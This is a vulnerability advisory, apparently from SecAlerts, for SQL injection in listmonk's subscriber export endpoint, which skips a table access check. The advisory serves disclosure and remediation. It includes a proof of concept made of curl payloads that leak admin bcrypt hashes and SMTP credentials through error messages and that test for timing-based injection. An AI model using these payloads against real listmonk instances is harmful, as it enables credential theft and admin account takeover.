GO-2026-6931: listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials

Published Jul 15, 2026
·
Updated

Summary

A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sqlquery permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sqlquery → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.

---

Details

The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.

internal/core/subscribers.go — protected path (regular query):

go // QuerySubscribers — table validation present stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond) if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil { return nil, 0, echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf("Error preparing subscriber query: %v", err)) }

internal/core/subscribers.go — vulnerable path (export):

go // ExportSubscribers — NO table validation stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond) tx, err := c.db.Preparex(stmt) // executes directly without restriction

queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:

sql SELECT subscribers.id, subscribers.email, ... FROM subscribers LEFT JOIN subscriberlists ON ... WHERE (subscribers.status != 'blocklisted') AND %query% ORDER BY subscribers.id ASC LIMIT ...

Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.

---

PoC

Prerequisites: Authenticated session with subscribers:sqlquery and subscribers:getall permissions.

Step 1 — Confirm the bypass (blocked on query, open on export):

bash Blocked on regular endpoint: curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \ -H "Cookie: session=SESSIONTOKEN" → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}

Bypassed on export endpoint: curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \ -H "Cookie: session=SESSIONTOKEN" → HTTP 200: returns subscriber rows with no error

Step 2 — Error-based exfiltration of admin password hash:

bash curl -s "http://TARGET:9000/api/subscribers/export?\ query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \ -H "Cookie: session=SESSIONTOKEN"

Response: json { "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\"" }

Step 3 — Error-based exfiltration of SMTP credentials:

bash curl -s "http://TARGET:9000/api/subscribers/export?\ query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \ -H "Cookie: session=SESSIONTOKEN"

Response: json { "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\"" }

Step 4 — Time-based blind confirmation:

bash time curl -s "http://TARGET:9000/api/subscribers/export?query=pgsleep(3)+IS+NOT+NULL" \ -H "Cookie: session=SESSIONTOKEN" Returns after ~3 seconds — confirms arbitrary SQL function execution

---

Impact

This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sqlquery permission can:

- Read bcrypt password hashes of all admin accounts (including Super Admin) - Extract SMTP credentials, API keys, and all values stored in the settings table - Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover - Execute data-modifying SQL via PostgreSQL CTEs (write impact)

Attack chain: subscribers:sqlquery → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.

This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.

Other sources

listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sqlquery and subscribers:getall to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.

— OSV

listmonk: SQL Injection in /api/subscribers/export bypasses table access control, leaking admin password hashes and SMTP credentials in github.com/knadh/listmonk

— OSV

Affected Software

2 affected componentsFixes available
listmonk listmonk<6.2.0
go/github.com/knadh/listmonk<1.1.1-0.20260619102436-c0a6525009a6
1.1.1-0.20260619102436-c0a6525009a6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/knadh/listmonk to a version that resolves this vulnerability.

    Fixed in 1.1.1-0.20260619102436-c0a6525009a6
  2. Upgrade

    Upgrade github.com/knadh/listmonk to a version that resolves this vulnerability.

    Fixed in 6.2.0

Event History

Jul 15, 2026
CVE Published
via OSV·08:56 PM
Data Sourced
via OSV·08:56 PM
DescriptionSeverityWeakness
Nov 6, 2026
Advisory Published
via OSV·06:15 PM
Data Sourced
via OSV·06:15 PM
Affected Software

Frequently Asked Questions

1

Who can exploit this issue?

An authenticated user must have the subscribers:sql_query permission. Exploitation is network-reachable through the GET /api/subscribers/export endpoint and does not require user interaction.

2

What sensitive data could be exposed?

The export endpoint can be used to read arbitrary database tables, including the users table containing bcrypt password hashes and the settings table containing SMTP credentials and API keys. Error-based and time-based exfiltration techniques are confirmed to work.

3

Does the regular subscriber query endpoint have the same exposure?

The regular GET /api/subscribers endpoint validates query table access before execution. The affected export endpoint omits that validation, allowing a user with subscribers:sql_query to bypass the intended table restrictions.

4

What is the potential escalation path after exploitation?

An attacker can exfiltrate password hashes, attempt offline cracking against bcrypt hashes using cost factor 6, and potentially take over a Super Admin account. Exposed settings may also provide SMTP credentials or API keys.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203